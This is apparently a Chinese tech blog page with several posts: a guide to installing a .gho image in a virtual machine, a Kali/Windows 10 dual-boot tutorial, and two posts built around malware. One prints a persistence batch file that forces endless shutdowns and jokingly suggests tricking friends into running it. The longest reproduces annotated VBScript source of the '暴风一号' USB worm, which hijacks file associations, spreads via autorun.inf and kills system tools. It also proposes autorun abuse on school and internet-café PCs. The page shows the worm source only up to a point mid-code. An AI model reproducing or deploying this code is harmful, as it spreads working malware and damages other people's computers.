【图文教程】如何将gho格式后缀的系统文件安装在空白的虚拟机上 技术文章
首先说一下,博主写这篇文章是因为博主在学习过程中恰好遇到了这个问题--如何将gho格式后缀的系统文件安装在空白的虚拟机上,并且最终解决了我的问题,所以在此小计一下。这时候系统文件是gho,没有安装菜单,不支持分区怎么办?那么看下面的方法,不需要iso虚拟机测试安装gho系统的方法.
还有一种情况是物理机安装了系统发现不对劲,怀疑是安装工具修改了系统,排查重装系统又太麻烦,就可以用虚拟机测试了.
准备工作:gho文件,DiskGenius,GhostExp,两个软件的下载地址:https://userscloud.com/lfbb6g8jv10m http://pan.baidu.com/s/1eRcw5xC
大致步骤我说一下,其中一些不需需要改变的步骤我就不说了,需要注意的地方和重要的地方我会贴图,详情请看图:
自定义创建:
不需要加载光驱,选择稍后安装系统:
这里可选择创建的虚拟系统的版本,这里是选择XP:
虚拟系统保存目录选择,可自定义,但是一定要记得保存的路径:
创建完虚拟机后打开DG分区工具,打开虚拟硬盘文件,就是虚拟系统的文件:
看好了,别选错了,一般就是你命名以为vdmk之类的结尾的:
这里只是作为演示,我就知分了一个区,在实际使用中,可以根据自己的需求来分区,然后格式化:
打开我的电脑就出现了Z盘:
然后用gho镜像浏览器打开gho系统镜像文件,全选,右键提取到Z盘:
切记--提取复制完后别忘了虚拟机磁盘管理取消共享的Z盘:
然后打开虚拟机电源启动虚拟系统,看见这个启动界面就是成功了..:如下图
以上是vm虚拟机安装测试系统的方法只用到了虚拟机和另外两个小工具,并没有用任何iso文件或者是什么PE系统....
掌握了这个方法以后遇到下载的gho就不用担心没法测试了.同时也方便大家在虚拟机安装gho格式的系统。不懂得可以评论留言,我看见了就会尽快回复。
开机无限关机重启之DOS代码分析 杂七杂八
今天打开虚拟机的xp系统准备crack某个软件的时候发现桌面上的一个noopen.bat,不假思索就打开了。。。心里想,虚拟机嘛,怕个毛。。双击后,没啥特别反应,就是个DOS提示框拒绝访问,但是重启机器后就一直关机重启0.0看来那个批处理生效了啊。。。
下面把代码贴出来:这是从网上看到的一个很简单的批处理:
@echo off echo shutdown -l -t 0 >C:\WINDOWS\system32\system.bat attrib C:\WINDOWS\system32\system.bat +s +h reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v system /t REG_SZ /d C:\WINDOWS\system32\system.bat /f
其实很简单,就是利用shutdown命令加上时间-t参数 把时间改成0 其实参数修改成-s 或许会更快0.0!修改注册表,增加自启,从而达到开机就重启的目的。
怎么破呢,当然是F8进入安全模式了,找到自启的注册表键值,删掉就OK了:
从图上可以看出来,自启注册表键值system 对应的批处理位置,删掉就OK、话说这些都是在没杀毒软件的情况下,有杀毒软件或者是安装了还原软件之类的就不好使了。。。仅此作为饭后的笑谈或许都没意思。。。。
注:不信的自己在虚拟玩吧 你也可以发给你的朋友玩玩。但估计会被杀软干掉的。。。你可以欺骗他先关掉杀软的!嘿嘿 0.0 玩玩就好。
【原创实践】物理机安装Kali2.0 i386和Windows10 X64构成双系统详细教程 Linux
2017/02/02 更新:这篇文章是在BIOS+mbr的基础上写的,如果(你的easybcd不能用)是gpt+uefi 请查看这篇文章: 在UEFI+GPT下使用rEFind实现Win10 + Kali2.0 双引导:https://mrxn.net/Linux/UEFI-GPT-rEFind-Win10-Kali20.html
首先给大家看一下Kali2.0 i386和Windows10 X64安装成功后的截图吧:
从上图知道,我这里是使用Grub2引导的Windows系统.后面我会讲为什么这么做,比较适合新手.
首先说点需要注意的,你看看你是否遇到过这种情况,我把我安装的时候遇到的问题和群里童鞋们出现的问题综合了一下:
<一>镜像的选择:很多的人都是看自己的CPU来选择,比如Intel的使用i386.AMD的使用AMD64的.但是我用我的实践证明了,有的时候,AMD的CPU安装AMD版本的镜像是不行的,会卡在如下的界面,我想很多的人大概都遇到过.特别是使用AMD的CPU的童鞋.如果刻录了与你CPU型号相同的Kali镜像,但是却卡在如下图所示的环节,可以考虑重新刻录i386的镜像试试.因为哪个版本都可以使用的,只是性能上有多多少少的折扣。
<二>BIOS的设置,如果你是双显卡,安装的时候最好是使用集显,可以大大避免卡在安装界面进入后的第二步上。一般是在BIOS的config选项下面的Display里面设置使用集显还是双显卡。集显字样如:Intergrated Graphics 。等你安装完Kali之后,可以再进入BIOS设置重新启用双显卡。
<三>硬盘的模式选择,如果是安装双系统,推荐使用 AHCI + Legacy Only 模式,这样兼容性和性能都兼顾,但不是最好的性能哈,兼容和性能兼得,性能必然会有所牺牲的。如下图所示的硬盘模式设置:
<四>使用Windows系统自带的磁盘管理工具先压缩出来一部分给Kali 使用,一般推荐最少20G,可以大一点,比如30G比较合适。
在我的计算机上右键-管理-磁盘管理-选一个磁盘右键-压缩卷-输入压缩大小,比如:30720(30G),等待压缩完毕,退出来,关闭计算机,准备安装。
<五>如果你重新刻录镜像的时候不能够格式化U盘或者是U盘容量大小有问题,请查看这篇文章的解决方法:
使用Win32DiskImager做安装kali启动U盘后的那些事儿
下面开始详细的教程:
首先是使用windisk32这款软件来制作Kali的安装启动U盘.
选择你要安装的Kali版本镜像文件,我这里已Kali 2.0 i386做演示,也是我自己物理机安装的.记得在选择镜像的时候有个小细节,右下角的过滤选择所有文件类型:
找到镜像之后,打开就OK,然后是核对右边的Device(U盘/光盘)是否正确,软件默认是会选择U盘/光盘的,不知道的可以去我得电脑里面查看。这两项核对正确无误之后就可以点击下面的 write 开始写入镜像操作了。等待写入完成,一般是10分钟左右,主要依据你的U盘/光盘写入速度。
下面进入安装环节,关机,重启F12,到选择启动盘界面,或者是在BIOS设置好U盘为第一启动项(这不会就去百度吧,或者是别玩双系统了):
在这个界面我们可以测试能够安装。选择第一项的 Live (686-pae)更具你自己刻录的镜像,括号里面的可能会有不同,比如 Live (adm64) 等,回车进入 Kali Live 界面,记载系统文件等等,速度很快,如果你的加载中途停止了,卡在如图所示的位置,那你可以考虑换镜像重新刻录尝试:
如果顺利,会进入Kali Live界面的。如下图所示:
如果进入这里了,就表明你可以成功安装Kali 的几率提升到95%了。当然,如果你在Windows上忘了压缩分区给Kali,别着急,这里也可以分使用parttion分区命令来分区的(推荐在Windows上分区好,对于新手比较方便,老鸟直接飞过吧)。具体的分区方法,这里就不叙述了,很多的。节省空间,这篇文章已经很长了。。。
OK,点击右上角的那个倒三角,在弹出来的菜单里,选择reboot,选择now。重启,重新进入U盘安装Kali界面。这里我选择install。如果顺利,就来到选择语言的对话框,通过方向键向上选择中文(简体)。
接着是询问是否要以选择的语言安装,通过Tab键选择 是。
选择区域:中国,回车
选择汉语,回车
就开始加载数据,准备进行下一步,等待这个过程完毕,一般很快,几秒钟
接着来到了 给主机命名,随便输入你喜欢的名字,比如:Mrxn
接着是域名,选择不填写吧。直接Tab键 选择 继续
接着是 输入root用户密码,可以在这里设置,也可以在后面设置,我就在这里设置了吧,root 然后Tab键切换到 继续 回车
然后来到 重新输入刚刚输入的root密码进行确认,root Tab键到 继续之后,回车
就到了,分区这一步,很重要的步骤,因为刚刚在Windows上压缩了一个空的分区,所以会出现第一个:向导-使用最大的连续空闲空间,所以我这里直接就选择这个,回车进行下一步。如果你没有提前分区,或者是项自己设置boot分区根分区/,hone分区等等,请自行选择下面的手动。新手就别去折腾了。。小心折腾坏两个系统。
接着来到选择是否把所有文件放到一个分区中,推荐新手选择这一个,然后 回车。
然后就是分区结束最后确认阶段,选择最后一个:分区设定结束开始将更改写入磁盘,然后回车进行下一个环节
如果你是选择手动分区,并且自己选择了分区,就会弹出下面这两个对话框,我这里不是手动分区,所以不会出现这个,这只坐介绍,
接着是格式化分区的步骤,手动和向导分区都有这一步
格式化结束就会开始安装系统了,复制系统文件到磁盘了
漫长的等待数据复制完成之后,就会弹出选择是否进行网络安装,直接选择否,因为还没有修改源,会很慢,等死你。。。
接下来就是非常重要的步骤:安装Grub到那个分区,我这里选择是,安装到主mbr上,利用Grub来引导Windows。如果你想让Windows来引导Kali就选择否,然后选择将Grub安装到那个分区,如果/boot单独分区则添/boot所在的分区,如果/boot没有单独分区,则添/目录所在的分区;
Grub安装完毕之后就是重启,重启之后就可以看见熟悉的Kali Grub引导菜单,选择Kali 进入,进入Kali之后,我们需要使用下面的命令来更新Grub引导使Windows引导加入到引导菜单里面,打开终端命令面板,输入如下的命令更新Grub:
su
sudo update Grub2
如果你是以root登录的系统,直接输入 update Grub2 就可以了。然后reboot,就会发现已经有Windows load (sda1)等字样,选择并回车,就可以进入Windows系统了。如果不能进去Windows系统,请使U启动,大白菜,老毛桃之类的PE工具进行引导修复,就OK了。修复之后需要在Windows使用easybcd添加Kali 启动项。
如果是将mbr安装到其他分区,并非主分区,那么重启后是进入Windows系统的,进入Windows系统之后,下载easybcd,添加Kali启动项。具体的教程,可以百度搜搜,很多,也很详细的。
至此Kali + windows双系统安装就结束了,如果在安装中有什么问题或者是我写的不对的地方,欢迎大家评论留言:https://mrxn.net/guestbook.html或者是加我QQ-1451657099讨论。欢迎大家去折腾,生命在于折腾。生命不息,折腾不止!come on!
欢迎转载,请注明出处:https://mrxn.net/?post=363 毕竟写这么久不容易,请相互尊重,谢谢。
从暴风一号病毒源码里面找到的宝贝 技术文章
今天和朋友聊天中,聊到HTA,说让我学习一下,我就去百度搜素了一下,就在搜索结果中发现了暴风一号病毒,由于对病毒感兴趣,就点击进去了,看了它的介绍和威力,就估摸着下载一份源码来看看,于是Download......以下是我在源码中发现的好东西:
1.病毒会删除HKCR\lnkfile\IsShortcut键值,使快捷方式的图标上叠加的小箭头消失。
博主亲测效果图:
看起来爽很多是不是!你也可以,删除上图中→_→右边黄色的IsShortcut项 。重启电脑即可看到效果。^_^
2.修改inf,bat,cmd,reg,chm,hlp,txt文件关联:
If ReadReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/cmdfile/shell/open/command/")<>File_Value Then Call SetCmdFileAss(VirusAssPath) End If If ReadReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/regfile/shell/open/command/")<>File_Value Then Call SetRegFileAss(VirusAssPath) End If If ReadReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/chm.file/shell/open/command/")<>File_Value Then Call SetchmFileAss(VirusAssPath) End If If ReadReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/hlpfile/shell/open/command/")<>File_Value Then Call SethlpFileAss(VirusAssPath) End If
至于这个嘛,我们可以用来修复文件关联错误。比如有时候我们打开EXE或者是上面的inf,bat,cmd,reg,chm,hlp,txt ,
当然你也可以用来关联你想关联的。嘿嘿 自由发挥!
3.开启所有磁盘的自动运行特性:
Sub RegSet() On Error Resume Next Dim RegPath1 , RegPath2, RegPath3, RegPath4 RegPath1="HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/Advanced/Folder/Hidden/NOHIDDEN/CheckedValue" RegPath2="HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/Advanced/Folder/Hidden/SHOWALL/CheckedValue" RegPath3="HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoDriveTypeAutoRun" RegPath4="HKEY_CLASSES_ROOT/lnkfile/IsShortcut" Call WriteReg (RegPath1, 3, "REG_DWORD") Call WriteReg (RegPath2, 2, "REG_DWORD") Call WriteReg (RegPath3, 0, "REG_DWORD") Call DeleteReg (RegPath4) End Sub
这个我们可以利用啊!特别是对于网吧,学校这种公共场所的电脑,让它自动运行你的软甲你。O(∩_∩)O哈哈~
算了不说了,估计很多看客就知道第一种 修改桌面图图标上的小鼠标吧!
下面贴出真个病毒的源代码加注释:需要的自行研究,病毒都是宝贝啊,都是编程中的精品!
On Error Resume Next '//屏蔽出错信息,发生错误时继续向下执行 Dim Fso,WshShell '//定义了两个变量 '//创建并返回对 Automation 对象的引用。 '//CreateObject(servername.typename [, location]) '//servername 必选项。提供对象的应用程序名称。 '//typename 必选项。要创建的对象类型或类。 '//location 可选项。对象所在的网络服务器将被创建。 '//说明Automation 服务器至少提供一种对象类型。例如,字处理应用程序可以提供应用程序对象、文档对象和工具条对象。 Set Fso=CreateObject("scRiPTinG.fiLEsysTeMoBjEcT") '//为变量Fso赋值 创建 Scripting.FileSystemObject 对象 提供对计算机文件系统的访问 Set WshShell=CreateObject("wScRipT.SHelL") '//为变量WshShell赋值 创建Wscript.Shell对象 用于获取系统环境变量的访问、创建快捷方式、访问Windows的特殊文件夹, '//以及添加或删除注册表条目。还可以使用Shell对象的功能创建更多的定制对话框以进行用户交互。 Call Main() '//call 将控制权传递到sub或function Sub Main() '//sub、function 两种表示方法 sub没有返回值,function有返回值 On Error Resume Next Dim Args, VirusLoad, VirusAss Set Args=WScript.Arguments '//返回wsh对象的参数集 VirusLoad=GetMainVirus(1) '//获得System文件夹下smss.exe 蠕虫地址 VirusAss=GetMainVirus(0) '//获得Windows文件夹下explorer.exe 蠕虫地址 ArgNum=0 Do While ArgNum < Args.Count Param=Param&" "&Args(ArgNum) ArgNum=ArgNum + 1 Loop SubParam=LCase(Right(Param, 3)) '//LCase 返回字符串的小写形式 Right 从字符串右边返回指定数目的字符 Select Case SubParam '//select类似switch Case "run" '//当运行run时,同时启动病毒文件 RunPath=Left(WScript.ScriptFullName, 2) '//ScriptFullName属性返回当前正在运行的脚本的完整路径。该属性返回一个只读的字符串。 Call Run(RunPath) Call InvadeSystem(VirusLoad,VirusAss) Call Run("%SystemRoot%/system/svchost.exe "&VirusLoad) Case "txt", "log","ini" ,"inf" '//运行"txt", "log", "ini", "inf"后缀名文件时,同时启动病毒文件 RunPath="%SystemRoot%/system32/NOTEPAD.EXE "&Param Call Run(RunPath) Call InvadeSystem(VirusLoad,VirusAss) Call Run("%SystemRoot%/system/svchost.exe "&VirusLoad) Case "bat", "cmd" '//运行"bat", "cmd"批处理或命令提示符时,同时启动病毒文件 RunPath="CMD /c echo Hi!I'm here!&pause" Call Run(RunPath) Call InvadeSystem(VirusLoad,VirusAss) Call Run("%SystemRoot%/system/svchost.exe "&VirusLoad) Case "reg" '//运行"reg"注册表导入程序时,同时启动病毒文件 RunPath="regedit.exe "&""""&Trim(Param)&"""" Call Run(RunPath) Call InvadeSystem(VirusLoad,VirusAss) Call Run("%SystemRoot%/system/svchost.exe "&VirusLoad) Case "chm" '//运行"chm"帮助文件时,同时启动病毒文件 RunPath="hh.exe "&""""&Trim(Param)&"""" Call Run(RunPath) Call InvadeSystem(VirusLoad,VirusAss) Call Run("%SystemRoot%/system/svchost.exe "&VirusLoad) Case "hlp" '//运行"hlp"帮助文件时,同时启动病毒文件 RunPath="winhlp32.exe "&""""&Trim(Param)&"""" Call Run(RunPath) Call InvadeSystem(VirusLoad,VirusAss) Call Run("%SystemRoot%/system/svchost.exe "&VirusLoad) Case "dir" '//运行dir命令,同时启动病毒文件 RunPath=""""&Left(Trim(Param),Len(Trim(Param))-3)&"""" Call Run(RunPath) Call InvadeSystem(VirusLoad,VirusAss) Call Run("%SystemRoot%/system/svchost.exe "&VirusLoad) Case "oie" '//打开我IE图标,同时启动病毒文件 RunPath="""%ProgramFiles%/Internet Explorer/IEXPLORE.EXE""" Call Run(RunPath) Call InvadeSystem(VirusLoad,VirusAss) Call Run("%SystemRoot%/system/svchost.exe "&VirusLoad) Case "omc" '//打开我的电脑图标,同时启动病毒文件 RunPath="explorer.exe /n,::{20D04FE0-3AEA-1069-A2D8-08002B30309D}" Call Run(RunPath) Call InvadeSystem(VirusLoad,VirusAss) Call Run("%SystemRoot%/system/svchost.exe "&VirusLoad) Case "emc" '//劫持Win+E RunPath="explorer.exe /n,/e,::{20D04FE0-3AEA-1069-A2D8-08002B30309D}" Call Run(RunPath) Call InvadeSystem(VirusLoad,VirusAss) Call Run("%SystemRoot%/system/svchost.exe "&VirusLoad) Case Else If PreDblInstance=True Then '//如果条件满足,退出脚本宿主 WScript.Quit End If Timeout = Datediff("ww", GetInfectedDate, Date) - 12 If Timeout>0 And Month(Date) = Day(Date) Then Call VirusAlert() Call MakeJoke(CInt(Month(Date))) End If Call MonitorSystem() End Select End Sub '//监视系统 结束taskmgr.exe、regedit.exe、msconfig.exe、cmd.exe Sub MonitorSystem() On Error Resume Next Dim ProcessNames, ExeFullNames ProcessNames=Array("cmd.exe","cmd.com","regedit.exe","regedit.scr","regedit.pif","regedit.com","msconfig.exe") VBSFullNames=Array(GetMainVirus(1)) '//变量赋值 Do Call KillProcess(ProcessNames) '//如发现变量中的进程,调用结束进程函数 Call InvadeSystem(GetMainVirus(1),GetMainVirus(0)) '// smss.exe 蠕虫地址 explorer.exe 蠕虫地址 Call KeepProcess(VBSFullNames) '//保持病毒进程 WScript.Sleep 3000 '//脚本宿主等待时间为3000毫秒=3秒 Loop End Sub '//侵入系统 Sub InvadeSystem(VirusLoadPath,VirusAssPath) On Error Resume Next Dim Load_Value, File_Value, IE_Value, MyCpt_Value1, MyCpt_Value2, HCULoad, HCUVer, VirusCode, Version Load_Value=""""&VirusLoadPath&"""" '//smss.exe的病毒流 File_Value="%SystemRoot%/System32/WScript.exe "&""""&VirusAssPath&""""&" %1 %* " '// explorer.exe 蠕虫 IE_Value="%SystemRoot%/System32/WScript.exe "&""""&VirusAssPath&""""&" OIE " '// 打开ie 蠕虫 MyCpt_Value1="%SystemRoot%/System32/WScript.exe "&""""&VirusAssPath&""""&" OMC " '//打开我的电脑 蠕虫 MyCpt_Value2="%SystemRoot%/System32/WScript.exe "&""""&VirusAssPath&""""&" EMC " '//劫持Win+E 蠕虫 HCULoad="HKEY_CURRENT_USER/SoftWare/Microsoft/Windows NT/CurrentVersion/Windows/Load" HCUVer="HKEY_CURRENT_USER/SoftWare/Microsoft/Windows NT/CurrentVersion/Windows/Ver" HCUDate="HKEY_CURRENT_USER/SoftWare/Microsoft/Windows NT/CurrentVersion/Windows/Date" VirusCode=GetCode(WScript.ScriptFullName) Version=1 HostSourcePath=Fso.GetSpecialFolder(1)&"/Wscript.exe" HostFilePath=Fso.GetSpecialFolder(0)&"/system/svchost.exe" For Each Drive In Fso.Drives '//分别建立各个目录的病毒名字 If Drive.IsReady and (Drive.DriveType=1 Or Drive.DriveType=2 Or Drive.DriveType=3) Then DiskVirusName=GetSerialNumber(Drive.DriveLetter)&".vbs" Call CreateAutoRun(Drive.DriveLetter,DiskVirusName) '//创建自动运行 Call InfectRoot(Drive.DriveLetter,DiskVirusName) '//感染 End If Next If FSO.FileExists(VirusAssPath)=False Or FSO.FileExists(VirusLoadPath)=False Or FSO.FileExists(HostFilePath)=False Or GetVersion()< Version Then If GetFileSystemType(GetSystemDrive())="NTFS" Then '//判断是否为NTFS分区 Call CreateFile(VirusCode,VirusAssPath) Call CreateFile(VirusCode,VirusLoadPath) '//这一步创建了流文件 Call CopyFile(HostSourcePath,HostFilePath) '//这一步将wscript.exe从system32复制到system目录并改名svchost.exe Call SetHiddenAttr(HostFilePath) Else '//FAT32格式 Call CreateFile(VirusCode, VirusAssPath) Call SetHiddenAttr(VirusAssPath) Call CreateFile(VirusCode,VirusLoadPath) Call SetHiddenAttr(VirusLoadPath) Call CopyFile(HostSourcePath, HostFilePath) Call SetHiddenAttr(HostFilePath) End If End If If ReadReg(HCULoad)<>Load_Value Then '//改写注册表启动项,smss.exe的流 Call WriteReg (HCULoad, Load_Value, "") End If If GetVersion() < Version Then '//改写版本信息为1 Call WriteReg (HCUVer, Version, "") End If If GetInfectedDate() = "" Then Call WriteReg (HCUDate, Date, "") '//记录感染时间 End If '//以下更改许多文件关联,病毒的通用感染方式 If ReadReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/txtfile/shell/open/command/")<>File_Value Then Call SetTxtFileAss(VirusAssPath) End If If ReadReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/inifile/shell/open/command/")<>File_Value Then Call SetIniFileAss(VirusAssPath) End If If ReadReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/inffile/shell/open/command/")<>File_Value Then Call SetInfFileAss(VirusAssPath) End If If ReadReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/batfile/shell/open/command/")<>File_Value Then Call SetBatFileAss(VirusAssPath) End If If ReadReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/cmdfile/shell/open/command/")<>File_Value Then Call SetCmdFileAss(VirusAssPath) End If If ReadReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/regfile/shell/open/command/")<>File_Value Then Call SetRegFileAss(VirusAssPath) End If If ReadReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/chm.file/shell/open/command/")<>File_Value Then Call SetchmFileAss(VirusAssPath) End If If ReadReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/hlpfile/shell/open/command/")<>File_Value Then Call SethlpFileAss(VirusAssPath) End If If ReadReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/Applications/iexplore.exe/shell/open/command/")<>IE_Value Then Call SetIEAss(VirusAssPath) End If If ReadReg("HKEY_CLASSES_ROOT/CLSID/{871C5380-42A0-1069-A2EA-08002B30309D}/shell/OpenHomePage/Command/")<>IE_Value Then Call SetIEAss(VirusAssPath) End If If ReadReg("HKEY_CLASSES_ROOT/CLSID/{20D04FE0-3AEA-1069-A2D8-08002B30309D}/shell/open/command/")<>MyCpt_Value1 Then Call SetMyComputerAss(VirusAssPath) End If If ReadReg("HKEY_CLASSES_ROOT/CLSID/{20D04FE0-3AEA-1069-A2D8-08002B30309D}/shell/explore/command/")<>MyCpt_Value2 Then Call SetMyComputerAss(VirusAssPath) End If Call RegSet() End Sub '//拷贝文件 Sub CopyFile(source, pathf) On Error Resume Next If FSO.FileExists(pathf) Then FSO.DeleteFile pathf , True End If FSO.CopyFile source, pathf End Sub '//创建文件 Sub CreateFile(code, pathf) On Error Resume Next Dim FileText If FSO.FileExists(pathf) Then Set FileText=FSO.OpenTextFile(pathf, 2, False) FileText.Write code FileText.Close Else Set FileText=FSO.OpenTextFile(pathf, 2, True) FileText.Write code FileText.Close End If End Sub '//注册表设置 Sub RegSet() On Error Resume Next Dim RegPath1 , RegPath2, RegPath3, RegPath4 RegPath1="HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/Advanced/Folder/Hidden/NOHIDDEN/CheckedValue" RegPath2="HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/Advanced/Folder/Hidden/SHOWALL/CheckedValue" RegPath3="HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoDriveTypeAutoRun" RegPath4="HKEY_CLASSES_ROOT/lnkfile/IsShortcut" Call WriteReg (RegPath1, 3, "REG_DWORD") Call WriteReg (RegPath2, 2, "REG_DWORD") Call WriteReg (RegPath3, 0, "REG_DWORD") Call DeleteReg (RegPath4) End Sub '//结束进程 Sub KillProcess(ProcessNames) On Error Resume Next Set WMIService=GetObject("winmgmts://./root/cimv2") For Each ProcessName in ProcessNames Set ProcessList=WMIService.execquery(" Select * From win32_process where name ='"&ProcessName&"' ") For Each Process in ProcessList IntReturn=Process.terminate If intReturn<>0 Then WshShell.Run "CMD /c ntsd -c q -p "&Process.Handle, vbHide, False End If Next Next End Sub '//删掉autorun.inf免疫目录 Sub KillImmunity(D) On Error Resume Next ImmunityFolder=D&":/Autorun.inf" If Fso.FolderExists(ImmunityFolder) Then WshSHell.Run ("CMD /C CACLS "& """"&ImmunityFolder&"""" &" /t /e /c /g everyone:f"),vbHide,True '//提权 WshSHell.Run ("CMD /C RD /S /Q "& ImmunityFolder), vbHide, True '//rd命令删除,配合 /s /q 选项,很轻松 End If End Sub '//保护病毒进程 保持脚本进程持续运行,少于2个创建新进程 Sub KeepProcess(VBSFullNames) On Error Resume Next For Each VBSFullName in VBSFullNames If VBSProcessCount(VBSFullName) < 2 then Run("%SystemRoot%/system/svchost.exe "&VBSFullName) End If Next End Sub '//获得系统分区 c: '//FileSystemObject.GetSpecialFolder 返回指定特殊文件夹 '//WindowsFolder 0 Windows 文件夹,包含 Windows 操作系统安装的文件。 '//SystemFolder 1 System 文件夹,包含库、字体和设备驱动程序文件。 '//TemporaryFolder 2 Temp 文件夹,用于保存临时文件。可以在 TMP 环境变量中找到该文件夹的路径。 '//Left 返回指定数目的从字符串的左边算起的字符。 Function GetSystemDrive() GetSystemDrive=Left(Fso.GetSpecialFolder(0),2) End Function '//FileSystemObject.GetDrive返回与指定的路径中驱动器相对应的 Drive 对象。Drive 提供对磁盘驱动器或网络共享的属性的访问。 '//Drive.FileSystem返回指定的驱动器使用的文件系统的类型。 Function GetFileSystemType(Drive) Set d=FSO.GetDrive(Drive) GetFileSystemType=d.FileSystem End Function '//读取注册表建值 返回所在路径 Function ReadReg(strkey) Dim tmps Set tmps=CreateObject("WScript.Shell") ReadReg=tmps.RegRead(strkey) Set tmps=Nothing End Function '//重写注册表键值 Sub WriteReg(strkey, Value, vtype) Dim tmps Set tmps=CreateObject("WScript.Shell") If vtype="" Then tmps.RegWrite strkey, Value Else tmps.RegWrite strkey, Value, vtype End If Set tmps=Nothing End Sub '//删除注册表键值 Sub DeleteReg(strkey) Dim tmps Set tmps=CreateObject("WScript.Shell") tmps.RegDelete strkey Set tmps=Nothing End Sub '//设置隐藏属性 Sub SetHiddenAttr(path) On Error Resume Next Dim vf Set vf=FSO.GetFile(path) Set vf=FSO.GetFolder(path) vf.Attributes=6 '// 6=2+4 分别是隐藏、系统属性 End Sub '//执行ExeFullName指定的文件 Sub Run(ExeFullName) On Error Resume Next Dim WshShell Set WshShell=WScript.CreateObject("WScript.Shell") WshShell.Run ExeFullName Set WshShell=Nothing End Sub '//感染根目录 Sub InfectRoot(D,VirusName) On Error Resume Next Dim VBSCode VBSCode=GetCode(WScript.ScriptFullName) VBSPath=D&":/"&VirusName If FSO.FileExists(VBSPath)=False Then Call CreateFile(VBSCode, VBSPath) Call SetHiddenAttr(VBSPath) End If Set Folder=Fso.GetFolder(D&":/") '//隐藏根目录下的所有子目录 Set SubFolders=Folder.Subfolders For Each SubFolder In SubFolders SetHiddenAttr(SubFolder.Path) LnkPath=D&":/"&SubFolder.Name&".lnk" '//创建对应的快捷方式 TargetPath=D&":/"&VirusName Args=""""&D&":/"&SubFolder.Name& "/Dir""" If Fso.FileExists(LnkPath)=False Or GetTargetPath(LnkPath) <> TargetPath Then If Fso.FileExists(LnkPath)=True Then FSO.DeleteFile LnkPath, True End If Call CreateShortcut(LnkPath,TargetPath,Args) End If Next End Sub '//上一步失败了调用这个函数创建快捷方式 Sub CreateShortcut(LnkPath,TargetPath,Args) Set Shortcut=WshShell.CreateShortcut(LnkPath) with Shortcut .TargetPath=TargetPath .Arguments=Args .WindowStyle=4 .IconLocation="%SystemRoot%/System32/Shell32.dll, 3" .Save end with End Sub '//创建autorun.inf文件 Sub CreateAutoRun(D,VirusName) On Error Resume Next Dim InfPath, VBSPath, VBSCode InfPath=D&":/AutoRun.inf" VBSPath=D&":/"&VirusName VBSCode=GetCode(WScript.ScriptFullName) If FSO.FileExists(InfPath)=False Or FSO.FileExists(VBSPath)=False Then Call CreateFile(VBSCode, VBSPath) Call SetHiddenAttr(VBSPath) StrInf="[AutoRun]"&VBCRLF&"Shellexecute=WScript.exe "&VirusName&" ""AutoRun"""&VBCRLF&"shell/open=打开(&O)"&VBCRLF&"shell/open/command=WScript.exe "&VirusName&" ""AutoRun"""&VBCRLF&"shell/open/Default=1"& VBCRLF&"shell/explore=资源管理器(&X)"&VBCRLF&"shell/explore/command=WScript.exe "&VirusName&" ""AutoRun""" Call KillImmunity(D) Call CreateFile(StrInf, InfPath) Call SetHiddenAttr(InfPath) End If End Sub '//改变txt格式文件关联 Sub SetTxtFileAss(sFilePath) On Error Resume Next Dim Value Value="%SystemRoot%/System32/WScript.exe "&""""&sFilePath&""""&" %1 %* " Call WriteReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/txtfile/shell/open/command/", Value, "REG_EXPAND_SZ") End Sub '//改变ini格式文件关联 Sub SetIniFileAss(sFilePath) On Error Resume Next Dim Value Value="%SystemRoot%/System32/WScript.exe "&""""&sFilePath&""""&" %1 %* " Call WriteReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/inifile/shell/open/command/", Value, "REG_EXPAND_SZ") End Sub '//改变inf格式文件关联 Sub SetInfFileAss(sFilePath) On Error Resume Next Dim Value Value="%SystemRoot%/System32/WScript.exe "&""""&sFilePath&""""&" %1 %* " Call WriteReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/inffile/shell/open/command/", Value, "REG_EXPAND_SZ") End Sub '//改变bat格式文件关联 Sub SetBatFileAss(sFilePath) On Error Resume Next Dim Value Value="%SystemRoot%/System32/WScript.exe "&""""&sFilePath&""""&" %1 %* " Call WriteReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/batfile/shell/open/command/", Value, "REG_EXPAND_SZ") End Sub '//改变cmd格式文件关联 Sub SetCmdFileAss(sFilePath) On Error Resume Next Dim Value Value="%SystemRoot%/System32/WScript.exe "&""""&sFilePath&""""&" %1 %* " Call WriteReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/cmdfile/shell/open/command/", Value, "REG_EXPAND_SZ") End Sub '//改变hlp格式文件关联 Sub SethlpFileAss(sFilePath) On Error Resume Next Dim Value Value="%SystemRoot%/System32/WScript.exe "&""""&sFilePath&""""&" %1 %* " Call WriteReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/hlpfile/shell/open/command/", Value, "REG_EXPAND_SZ") End Sub '//改变reg格式文件关联 Sub SetRegFileAss(sFilePath) On Error Resume Next Dim Value Value="%SystemRoot%/System32/WScript.exe "&""""&sFilePath&""""&" %1 %* " Call WriteReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/regfile/shell/open/command/", Value, "REG_EXPAND_SZ") End Sub 